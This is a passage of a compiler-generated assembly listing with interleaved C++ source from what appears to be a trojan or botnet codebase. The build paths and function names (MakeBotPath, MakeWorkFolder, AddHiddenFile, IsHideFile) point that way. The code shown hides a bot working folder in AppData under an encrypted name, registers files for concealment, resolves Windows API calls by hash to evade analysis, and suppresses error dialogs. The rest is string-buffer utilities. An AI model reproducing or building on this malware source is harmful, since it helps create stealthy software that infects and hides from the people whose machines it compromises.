$LN1@IsHideFile:
; 251  : 		return FALSE;
  0002a	33 c0		 xor	 eax, eax
; 260  : }
  0002c	c3		 ret	 0
?IsHideFile@@YAHPA_WKH@Z ENDP				; IsHideFile
_TEXT	ENDS
PUBLIC	?CopyFileToTemp@@YAXPA_W0@Z			; CopyFileToTemp
; Function compile flags: /Ogspy
;	COMDAT ?CopyFileToTemp@@YAXPA_W0@Z
_TEXT	SEGMENT
_Path$ = 8						; size = 4
_Temp$ = 12						; size = 4
?CopyFileToTemp@@YAXPA_W0@Z PROC			; CopyFileToTemp, COMDAT
; 265  : 	if ( !Path || !Temp )
  00000	83 7c 24 04 00	 cmp	 DWORD PTR _Path$[esp-4], 0
  00005	74 33		 je	 SHORT $LN2@CopyFileTo
  00007	83 7c 24 08 00	 cmp	 DWORD PTR _Temp$[esp-4], 0
  0000c	74 2c		 je	 SHORT $LN2@CopyFileTo
  0000e	56		 push	 esi
; 266  : 	{
; 267  : 		return;
; 268  : 	}
; 269  : 
; 270  : 	WCHAR *TempPath = GetTempName();
  0000f	e8 00 00 00 00	 call	 ?GetTempName@@YAPA_WXZ	; GetTempName
  00014	8b f0		 mov	 esi, eax
; 271  : 
; 272  : 	if ( TempPath == NULL )
  00016	85 f6		 test	 esi, esi
  00018	74 1f		 je	 SHORT $LN6@CopyFileTo
; 273  : 	{
; 274  : 		return;
; 275  : 	}
; 276  : 
; 277  : 	pCopyFileW( Path, TempPath, FALSE );
  0001a	6a 00		 push	 0
  0001c	56		 push	 esi
  0001d	ff 74 24 10	 push	 DWORD PTR _Path$[esp+8]
  00021	e8 00 00 00 00	 call	 ??$pushargEx@$00$0COOEPBBL@$0BO@PA_WPA_WH@@YAPAXPA_W0H@Z ; pushargEx<1,786755867,30,wchar_t *,wchar_t *,int>
; 278  : 
; 279  : 	plstrcpyW(Temp, TempPath);
  00026	56		 push	 esi
  00027	ff 74 24 1c	 push	 DWORD PTR _Temp$[esp+16]
  0002b	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,749073264,129,wchar_t *,wchar_t *>
; 280  : 
; 281  : 	MemFree( TempPath );
  00030	56		 push	 esi
  00031	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00036	83 c4 18	 add	 esp, 24			; 00000018H
$LN6@CopyFileTo:
  00039	5e		 pop	 esi
$LN2@CopyFileTo:
; 282  : 
; 283  : 	return;
; 284  : }
  0003a	c3		 ret	 0
?CopyFileToTemp@@YAXPA_W0@Z ENDP			; CopyFileToTemp
_TEXT	ENDS
PUBLIC	?DisableShowFatalErrorDialog@@YAXXZ		; DisableShowFatalErrorDialog
; Function compile flags: /Ogspy
;	COMDAT ?DisableShowFatalErrorDialog@@YAXXZ
_TEXT	SEGMENT
?DisableShowFatalErrorDialog@@YAXXZ PROC		; DisableShowFatalErrorDialog, COMDAT
; 290  : 	// 
; 291  : 	// 
; 292  : 	// 
; 293  : 
; 294  : 	pSetErrorMode(SEM_FAILCRITICALERRORS |
; 295  : 				  SEM_NOALIGNMENTFAULTEXCEPT |
; 296  : 				  SEM_NOGPFAULTERRORBOX |
; 297  : 				  SEM_NOOPENFILEERRORBOX);
  00000	68 07 80 00 00	 push	 32775			; 00008007H
  00005	e8 00 00 00 00	 call	 ??$pushargEx@$00$0GMFEEAGA@$0JM@H@@YAPAXH@Z ; pushargEx<1,1817460832,156,int>
  0000a	59		 pop	 ecx
; 298  : }
  0000b	c3		 ret	 0
?DisableShowFatalErrorDialog@@YAXXZ ENDP		; DisableShowFatalErrorDialog
_TEXT	ENDS
PUBLIC	?Hash@?$STRUTILS@D@@SAKPBD@Z			; STRUTILS<char>::Hash
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?Hash@?$STRUTILS@D@@SAKPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?Hash@?$STRUTILS@D@@SAKPBD@Z PROC			; STRUTILS<char>::Hash, COMDAT
; 310  :     return Hash(Str, 0, false);
  00000	6a 00		 push	 0
  00002	6a 00		 push	 0
  00004	ff 74 24 0c	 push	 DWORD PTR _Str$[esp+4]
  00008	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  0000d	83 c4 0c	 add	 esp, 12			; 0000000cH
; 311  : }
  00010	c3		 ret	 0
?Hash@?$STRUTILS@D@@SAKPBD@Z ENDP			; STRUTILS<char>::Hash
_TEXT	ENDS
PUBLIC	??$AddRef@D@STRBUF@@YAPADPAD@Z			; STRBUF::AddRef<char>
; Function compile flags: /Ogspy
;	COMDAT ??$AddRef@D@STRBUF@@YAPADPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$AddRef@D@STRBUF@@YAPADPAD@Z PROC			; STRBUF::AddRef<char>, COMDAT
; 417  : 	// 
; 418  : 	if (Str)
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 03		 je	 SHORT $LN1@AddRef
; 419  : 		GetRec(Str).RefCount++;
  00008	ff 40 fc	 inc	 DWORD PTR [eax-4]
$LN1@AddRef:
; 420  : 	return Str;
; 421  : }
  0000b	c3		 ret	 0
??$AddRef@D@STRBUF@@YAPADPAD@Z ENDP			; STRBUF::AddRef<char>
_TEXT	ENDS
PUBLIC	??$Release@D@STRBUF@@YAXAAPAD@Z			; STRBUF::Release<char>
EXTRN	?Free@HEAP@@YAXPAX@Z:PROC			; HEAP::Free
; Function compile flags: /Ogspy
;	COMDAT ??$Release@D@STRBUF@@YAXAAPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Release@D@STRBUF@@YAXAAPAD@Z PROC			; STRBUF::Release<char>, COMDAT
; 401  : {
  00000	56		 push	 esi
; 402  : 	// 
; 403  : 	if (Str)
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _Str$[esp]
  00005	8b 06		 mov	 eax, DWORD PTR [esi]
  00007	85 c0		 test	 eax, eax
  00009	74 12		 je	 SHORT $LN2@Release
; 404  : 	{
; 405  : 		TStrRec &R = GetRec(Str);
  0000b	83 c0 f4	 add	 eax, -12		; fffffff4H
; 406  : 		R.RefCount--;
  0000e	ff 48 08	 dec	 DWORD PTR [eax+8]
; 407  : 		if (R.RefCount == 0)
  00011	75 07		 jne	 SHORT $LN1@Release
; 408  :             HEAP::Free(&R);
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ?Free@HEAP@@YAXPAX@Z	; HEAP::Free
  00019	59		 pop	 ecx
$LN1@Release:
; 409  :         Str = NULL;
  0001a	83 26 00	 and	 DWORD PTR [esi], 0
$LN2@Release:
  0001d	5e		 pop	 esi
; 410  :     }
; 411  : }
  0001e	c3		 ret	 0
??$Release@D@STRBUF@@YAXAAPAD@Z ENDP			; STRBUF::Release<char>
_TEXT	ENDS
PUBLIC	??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z		; STRBUF::CreateFromStr<char>
EXTRN	?m_memcpy@@YAPAXPAXPBXH@Z:PROC			; m_memcpy
; Function compile flags: /Ogspy
;	COMDAT ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_StrLen$ = 12						; size = 4
_ResultStrSize$ = 16					; size = 4
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z PROC		; STRBUF::CreateFromStr<char>, COMDAT
; 457  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 458  : 	// 
; 459  : 	if (STRUTILS<TChar>::IsEmpty(Str))
  00003	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00006	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000b	59		 pop	 ecx
  0000c	84 c0		 test	 al, al
  0000e	74 04		 je	 SHORT $LN3@CreateFrom
; 460  : 		return NULL;
  00010	33 c0		 xor	 eax, eax
; 474  : }
  00012	5d		 pop	 ebp
  00013	c3		 ret	 0
$LN3@CreateFrom:
  00014	56		 push	 esi
  00015	57		 push	 edi
; 461  : 
; 462  : 	if (StrLen == 0)
  00016	8b 7d 0c	 mov	 edi, DWORD PTR _StrLen$[ebp]
  00019	85 ff		 test	 edi, edi
  0001b	75 0b		 jne	 SHORT $LN2@CreateFrom
; 463  : 		StrLen = STRUTILS<TChar>::Length(Str);
  0001d	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	8b f8		 mov	 edi, eax
$LN2@CreateFrom:
; 464  : 
; 465  :     DWORD ResSize = Max(StrLen, ResultStrSize);
  00028	8b 45 10	 mov	 eax, DWORD PTR _ResultStrSize$[ebp]
  0002b	3b f8		 cmp	 edi, eax
  0002d	76 02		 jbe	 SHORT $LN6@CreateFrom
  0002f	8b c7		 mov	 eax, edi
$LN6@CreateFrom:
; 466  : 	TChar* Result = Alloc<TChar>(ResSize);
  00031	50		 push	 eax
  00032	e8 00 00 00 00	 call	 ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc<char>
  00037	8b f0		 mov	 esi, eax
  00039	59		 pop	 ecx
; 467  : 	if (Result)
  0003a	85 f6		 test	 esi, esi
  0003c	74 10		 je	 SHORT $LN1@CreateFrom
; 468  : 	{
; 469  : 		// 
; 470  : 		m_memcpy(Result, Str, StrLen * sizeof(TChar));
  0003e	57		 push	 edi
  0003f	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00042	56		 push	 esi
  00043	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00048	83 c4 0c	 add	 esp, 12			; 0000000cH
; 471  : 		GetRec(Result).Length = StrLen;
  0004b	89 7e f8	 mov	 DWORD PTR [esi-8], edi
$LN1@CreateFrom:
  0004e	5f		 pop	 edi
; 472  : 	}
; 473  : 	return Result;
  0004f	8b c6		 mov	 eax, esi
  00051	5e		 pop	 esi
; 474  : }
  00052	5d		 pop	 ebp
  00053	c3		 ret	 0
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ENDP		; STRBUF::CreateFromStr<char>
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@ABV0@@Z			; TString<char>::TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??0?$TString@D@@QAE@ABV0@@Z
_TEXT	SEGMENT
_src$ = 8						; size = 4
??0?$TString@D@@QAE@ABV0@@Z PROC			; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 661  : 	Data = STRBUF::AddRef<TChar>(src.Data);
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _src$[esp-4]
  00004	56		 push	 esi
  00005	8b f1		 mov	 esi, ecx
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	ff 70 04	 push	 DWORD PTR [eax+4]
  00010	e8 00 00 00 00	 call	 ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef<char>
  00015	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00018	59		 pop	 ecx
; 662  : }
  00019	8b c6		 mov	 eax, esi
  0001b	5e		 pop	 esi
  0001c	c2 04 00	 ret	 4
??0?$TString@D@@QAE@ABV0@@Z ENDP			; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??1?$TString@D@@UAE@XZ				; TString<char>::~TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??1?$TString@D@@UAE@XZ
_TEXT	SEGMENT
??1?$TString@D@@UAE@XZ PROC				; TString<char>::~TString<char>, COMDAT
; _this$ = ecx
; 676  : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 677  : 	STRBUF::Release<TChar>(Data);
  00003	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00006	50		 push	 eax
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00012	59		 pop	 ecx
; 678  : }
  00013	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  00019	5e		 pop	 esi
  0001a	c3		 ret	 0
??1?$TString@D@@UAE@XZ ENDP				; TString<char>::~TString<char>
_TEXT	ENDS
PUBLIC	?SetLength@?$TString@D@@QAEXK@Z			; TString<char>::SetLength
; Function compile flags: /Ogspy
;	COMDAT ?SetLength@?$TString@D@@QAEXK@Z
_TEXT	SEGMENT
_Tmp$91797 = 8						; size = 4
_NewLength$ = 8						; size = 4
?SetLength@?$TString@D@@QAEXK@Z PROC			; TString<char>::SetLength, COMDAT
; _this$ = ecx
; 800  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	56		 push	 esi
  00004	57		 push	 edi
; 801  : 	// 
; 802  : 	if (NewLength == 0)
  00005	8b 7d 08	 mov	 edi, DWORD PTR _NewLength$[ebp]
  00008	8b f1		 mov	 esi, ecx
  0000a	85 ff		 test	 edi, edi
  0000c	75 0c		 jne	 SHORT $LN6@SetLength
; 803  : 		STRBUF::Release<TChar>(Data);
  0000e	83 c6 04	 add	 esi, 4
  00011	56		 push	 esi
  00012	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00017	59		 pop	 ecx
; 804  : 	else
  00018	eb 47		 jmp	 SHORT $LN5@SetLength
$LN6@SetLength:
; 805  : 	{
; 806  : 		if (Data)
  0001a	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
  0001d	85 c0		 test	 eax, eax
  0001f	74 30		 je	 SHORT $LN4@SetLength
; 807  : 		{
; 808  : 			STRBUF::TStrRec &Rec = STRBUF::GetRec<TChar>(Data);
; 809  : 
; 810  : 			if (Rec.RefCount > 1 || Rec.Size < NewLength)
  00021	83 78 fc 01	 cmp	 DWORD PTR [eax-4], 1
  00025	77 05		 ja	 SHORT $LN2@SetLength
  00027	39 78 f4	 cmp	 DWORD PTR [eax-12], edi
  0002a	73 1c		 jae	 SHORT $LN3@SetLength
$LN2@SetLength:
; 811  : 			{
; 812  : 				TChar* Tmp = Data;
; 813  : 				Data = STRBUF::CreateFromStr<TChar>(Tmp, Rec.Length, NewLength);
  0002c	57		 push	 edi
  0002d	ff 70 f8	 push	 DWORD PTR [eax-8]
  00030	89 45 08	 mov	 DWORD PTR _Tmp$91797[ebp], eax
  00033	50		 push	 eax
  00034	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00039	89 46 04	 mov	 DWORD PTR [esi+4], eax
; 814  : 				STRBUF::Release<TChar>(Tmp);
  0003c	8d 45 08	 lea	 eax, DWORD PTR _Tmp$91797[ebp]
  0003f	50		 push	 eax
  00040	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00045	83 c4 10	 add	 esp, 16			; 00000010H
$LN3@SetLength:
; 815  : 			}
; 816  : 			*(Data + NewLength) = 0;
  00048	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
  0004b	c6 04 07 00	 mov	 BYTE PTR [edi+eax], 0
; 817  : 		}
; 818  : 		else
  0004f	eb 0a		 jmp	 SHORT $LN1@SetLength
$LN4@SetLength:
; 819  : 			Data = STRBUF::Alloc<TChar>(NewLength);
  00051	57		 push	 edi
  00052	e8 00 00 00 00	 call	 ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc<char>
  00057	59		 pop	 ecx
  00058	89 46 04	 mov	 DWORD PTR [esi+4], eax
$LN1@SetLength:
; 820  : 
; 821  :         STRBUF::GetRec<TChar>(Data).Length = NewLength;
  0005b	8b 46 04	 mov	 eax, DWORD PTR [esi+4]
  0005e	89 78 f8	 mov	 DWORD PTR [eax-8], edi
$LN5@SetLength:
  00061	5f		 pop	 edi
  00062	5e		 pop	 esi
; 822  : 	}
; 823  : }
  00063	5d		 pop	 ebp
  00064	c2 04 00	 ret	 4
?SetLength@?$TString@D@@QAEXK@Z ENDP			; TString<char>::SetLength
_TEXT	ENDS
PUBLIC	??$Append@D@STRBUF@@YAXAAPADPBDK@Z		; STRBUF::Append<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Append@D@STRBUF@@YAXAAPADPBDK@Z
_TEXT	SEGMENT
_Tmp$91869 = -4						; size = 4
_Dst$ = 8						; size = 4
_Src$ = 12						; size = 4
_SrcLen$ = 16						; size = 4
??$Append@D@STRBUF@@YAXAAPADPBDK@Z PROC			; STRBUF::Append<char>, COMDAT
; 479  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
; 480  : 	// 
; 481  : 	if (STRUTILS<TChar>::IsEmpty(Src))
  00004	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00007	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000c	59		 pop	 ecx
  0000d	84 c0		 test	 al, al
  0000f	0f 85 84 00 00
	00		 jne	 $LN1@Append
  00015	57		 push	 edi
; 482  : 		return;
; 483  : 
; 484  : 
; 485  : 	if (SrcLen == 0)
  00016	33 ff		 xor	 edi, edi
  00018	39 7d 10	 cmp	 DWORD PTR _SrcLen$[ebp], edi
  0001b	75 0c		 jne	 SHORT $LN6@Append
; 486  : 		SrcLen = STRUTILS<TChar>::Length(Src);
  0001d	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	89 45 10	 mov	 DWORD PTR _SrcLen$[ebp], eax
$LN6@Append:
  00029	56		 push	 esi
; 487  : 
; 488  : 	if (Dst == NULL)
  0002a	8b 75 08	 mov	 esi, DWORD PTR _Dst$[ebp]
  0002d	8b 06		 mov	 eax, DWORD PTR [esi]
  0002f	3b c7		 cmp	 eax, edi
  00031	75 13		 jne	 SHORT $LN5@Append
; 489  : 	{
; 490  :     	// 
; 491  : 		Dst = CreateFromStr<TChar>(Src, SrcLen, 0);
  00033	57		 push	 edi
  00034	ff 75 10	 push	 DWORD PTR _SrcLen$[ebp]
  00037	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  0003a	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  0003f	83 c4 0c	 add	 esp, 12			; 0000000cH
  00042	89 06		 mov	 DWORD PTR [esi], eax
; 492  : 	}
; 493  : 	else
  00044	eb 51		 jmp	 SHORT $LN15@Append
$LN5@Append:
; 494  : 	{
; 495  : 		// 
; 496  : 		TStrRec &R = GetRec(Dst);
; 497  : 		TChar* Tmp = NULL;
; 498  : 		DWORD DstLen = R.Length;
; 499  : 		DWORD TotalLen = SrcLen + DstLen;
  00046	8b 4d 10	 mov	 ecx, DWORD PTR _SrcLen$[ebp]
  00049	53		 push	 ebx
  0004a	8b 58 f8	 mov	 ebx, DWORD PTR [eax-8]
  0004d	89 7d fc	 mov	 DWORD PTR _Tmp$91869[ebp], edi
  00050	8d 3c 0b	 lea	 edi, DWORD PTR [ebx+ecx]
; 500  : 		if (R.Size < TotalLen || R.RefCount > 1)
  00053	39 78 f4	 cmp	 DWORD PTR [eax-12], edi
  00056	72 06		 jb	 SHORT $LN2@Append
  00058	83 78 fc 01	 cmp	 DWORD PTR [eax-4], 1
  0005c	76 10		 jbe	 SHORT $LN3@Append
$LN2@Append:
; 501  : 		{
; 502  :         	Tmp = Dst;
; 503  : 			Dst = CreateFromStr<TChar>(Tmp, DstLen, TotalLen);
  0005e	57		 push	 edi
  0005f	53		 push	 ebx
  00060	50		 push	 eax
  00061	89 45 fc	 mov	 DWORD PTR _Tmp$91869[ebp], eax
  00064	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00069	83 c4 0c	 add	 esp, 12			; 0000000cH
  0006c	89 06		 mov	 DWORD PTR [esi], eax
$LN3@Append:
; 504  :         }
; 505  : 		m_memcpy(Dst + DstLen, Src, SrcLen * sizeof(TChar));
  0006e	ff 75 10	 push	 DWORD PTR _SrcLen$[ebp]
  00071	8b 06		 mov	 eax, DWORD PTR [esi]
  00073	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00076	03 c3		 add	 eax, ebx
  00078	50		 push	 eax
  00079	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 506  : 		GetRec(Dst).Length = TotalLen;
  0007e	8b 06		 mov	 eax, DWORD PTR [esi]
  00080	83 c4 0c	 add	 esp, 12			; 0000000cH
; 507  : 
; 508  : 		if (Tmp)
  00083	83 7d fc 00	 cmp	 DWORD PTR _Tmp$91869[ebp], 0
  00087	89 78 f8	 mov	 DWORD PTR [eax-8], edi
  0008a	5b		 pop	 ebx
  0008b	74 0a		 je	 SHORT $LN15@Append
; 509  : 			Release<TChar>(Tmp);
  0008d	8d 45 fc	 lea	 eax, DWORD PTR _Tmp$91869[ebp]
  00090	50		 push	 eax
  00091	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00096	59		 pop	 ecx
$LN15@Append:
  00097	5e		 pop	 esi
  00098	5f		 pop	 edi
$LN1@Append:
; 510  :     }
; 511  : }
  00099	c9		 leave
  0009a	c3		 ret	 0
??$Append@D@STRBUF@@YAXAAPADPBDK@Z ENDP			; STRBUF::Append<char>
_TEXT	ENDS
PUBLIC	?MakeBotPath@BOT@@YA?AV?$TString@D@@XZ		; BOT::MakeBotPath
EXTRN	?GetSpecialFolderPathA@@YA?AV?$TString@D@@HPBD@Z:PROC ; GetSpecialFolderPathA
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\botutils.cpp
;	COMDAT ?MakeBotPath@BOT@@YA?AV?$TString@D@@XZ
_TEXT	SEGMENT
___$ReturnUdt$ = 8					; size = 4
?MakeBotPath@BOT@@YA?AV?$TString@D@@XZ PROC		; BOT::MakeBotPath, COMDAT
; 310  : 	// 
; 311  : 	return GetSpecialFolderPathA(CSIDL_APPDATA, NULL);
  00000	6a 00		 push	 0
  00002	6a 1a		 push	 26			; 0000001aH
  00004	ff 74 24 0c	 push	 DWORD PTR ___$ReturnUdt$[esp+4]
  00008	e8 00 00 00 00	 call	 ?GetSpecialFolderPathA@@YA?AV?$TString@D@@HPBD@Z ; GetSpecialFolderPathA
  0000d	8b 44 24 10	 mov	 eax, DWORD PTR ___$ReturnUdt$[esp+8]
  00011	83 c4 0c	 add	 esp, 12			; 0000000cH
; 312  : }
  00014	c3		 ret	 0
?MakeBotPath@BOT@@YA?AV?$TString@D@@XZ ENDP		; BOT::MakeBotPath
_TEXT	ENDS
PUBLIC	?MakeWorkFolder@BOT@@YAPADXZ			; BOT::MakeWorkFolder
EXTRN	?AddHiddenFile@BOT@@YAXK@Z:PROC			; BOT::AddHiddenFile
EXTRN	?CryptFileName@UIDCrypt@@YAPADPBD_N@Z:PROC	; UIDCrypt::CryptFileName
EXTRN	?GetStr@@YA?AV?$TString@D@@PBD@Z:PROC		; GetStr
EXTRN	?StrBotWorkPath@@3PADA:BYTE			; StrBotWorkPath
; Function compile flags: /Ogspy
;	COMDAT ?MakeWorkFolder@BOT@@YAPADXZ
_TEXT	SEGMENT
_WorkPath$ = -12					; size = 8
_Name$ = -4						; size = 4
?MakeWorkFolder@BOT@@YAPADXZ PROC			; BOT::MakeWorkFolder, COMDAT
; 342  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 0c	 sub	 esp, 12			; 0000000cH
  00006	56		 push	 esi
; 343  : 	if (!STRA::IsEmpty(BOT_WORK_FOLDER_NAME))
  00007	be 00 00 00 00	 mov	 esi, OFFSET ?BOT_WORK_FOLDER_NAME@@3PADA ; BOT_WORK_FOLDER_NAME
  0000c	56		 push	 esi
  0000d	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00012	59		 pop	 ecx
  00013	84 c0		 test	 al, al
; 344  : 		return BOT_WORK_FOLDER_NAME;
  00015	0f 84 89 00 00
	00		 je	 $LN18@MakeWorkFo
  0001b	53		 push	 ebx
  0001c	57		 push	 edi
; 345  : 
; 346  : 	// 
; 347  : 	string WorkPath = GetStr(StrBotWorkPath);
  0001d	8d 45 f4	 lea	 eax, DWORD PTR _WorkPath$[ebp]
  00020	68 00 00 00 00	 push	 OFFSET ?StrBotWorkPath@@3PADA ; StrBotWorkPath
  00025	50		 push	 eax
  00026	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
; 348  : 
; 349  : 	PCHAR Name = UIDCrypt::CryptFileName((PCHAR)WorkPath.t_str(), false);
  0002b	8b 45 f8	 mov	 eax, DWORD PTR _WorkPath$[ebp+4]
  0002e	59		 pop	 ecx
  0002f	59		 pop	 ecx
  00030	bb 00 00 00 00	 mov	 ebx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  00035	85 c0		 test	 eax, eax
  00037	75 02		 jne	 SHORT $LN11@MakeWorkFo
  00039	8b c3		 mov	 eax, ebx
$LN11@MakeWorkFo:
  0003b	6a 00		 push	 0
  0003d	50		 push	 eax
  0003e	e8 00 00 00 00	 call	 ?CryptFileName@UIDCrypt@@YAPADPBD_N@Z ; UIDCrypt::CryptFileName
  00043	59		 pop	 ecx
  00044	59		 pop	 ecx
  00045	89 45 fc	 mov	 DWORD PTR _Name$[ebp], eax
; 350  : 
; 351  : 	// 
; 352  : 	const char *Buf = (Name) ? Name : WorkPath.t_str();
  00048	85 c0		 test	 eax, eax
  0004a	74 04		 je	 SHORT $LN4@MakeWorkFo
  0004c	8b d8		 mov	 ebx, eax
  0004e	eb 09		 jmp	 SHORT $LN14@MakeWorkFo
$LN4@MakeWorkFo:
  00050	83 7d f8 00	 cmp	 DWORD PTR _WorkPath$[ebp+4], 0
  00054	74 03		 je	 SHORT $LN14@MakeWorkFo
  00056	8b 5d f8	 mov	 ebx, DWORD PTR _WorkPath$[ebp+4]
$LN14@MakeWorkFo:
; 353  : 
; 354  : 	DWORD ToCopy = Min(MAX_BOT_WORK_FOLDER_LEN, STRA::Length(Buf));
  00059	53		 push	 ebx
  0005a	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  0005f	59		 pop	 ecx
  00060	6a 0f		 push	 15			; 0000000fH
  00062	5f		 pop	 edi
  00063	3b c7		 cmp	 eax, edi
  00065	77 09		 ja	 SHORT $LN7@MakeWorkFo
  00067	53		 push	 ebx
  00068	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  0006d	59		 pop	 ecx
  0006e	8b f8		 mov	 edi, eax
$LN7@MakeWorkFo:
; 355  : 
; 356  : 	m_memcpy(BOT_WORK_FOLDER_NAME, Buf, ToCopy);
  00070	57		 push	 edi
  00071	53		 push	 ebx
  00072	56		 push	 esi
  00073	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 357  : 	BOT_WORK_FOLDER_NAME[ToCopy] = 0;
; 358  : 
; 359  : 	STR::Free(Name);
  00078	ff 75 fc	 push	 DWORD PTR _Name$[ebp]
  0007b	c6 87 00 00 00
	00 00		 mov	 BYTE PTR ?BOT_WORK_FOLDER_NAME@@3PADA[edi], 0
  00082	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 360  : 
; 361  : 	// 
; 362  : 	BOT::AddHiddenFile(STRA::Hash(BOT_WORK_FOLDER_NAME));
  00087	6a 00		 push	 0
  00089	6a 00		 push	 0
  0008b	56		 push	 esi
  0008c	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ; STRUTILS<char>::Hash
  00091	50		 push	 eax
  00092	e8 00 00 00 00	 call	 ?AddHiddenFile@BOT@@YAXK@Z ; BOT::AddHiddenFile
  00097	83 c4 20	 add	 esp, 32			; 00000020H
; 363  : 
; 364  : 	return BOT_WORK_FOLDER_NAME;
  0009a	8d 4d f4	 lea	 ecx, DWORD PTR _WorkPath$[ebp]
  0009d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000a2	5f		 pop	 edi
  000a3	5b		 pop	 ebx
$LN18@MakeWorkFo:
  000a4	8b c6		 mov	 eax, esi
  000a6	5e		 pop	 esi
; 365  : }
  000a7	c9		 leave
  000a8	c3		 ret	 0
?MakeWorkFolder@BOT@@YAPADXZ ENDP			; BOT::MakeWorkFolder
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_G?$TString@D@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_G?$TString@D@@UAEPAXI@Z PROC				; TString<char>::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
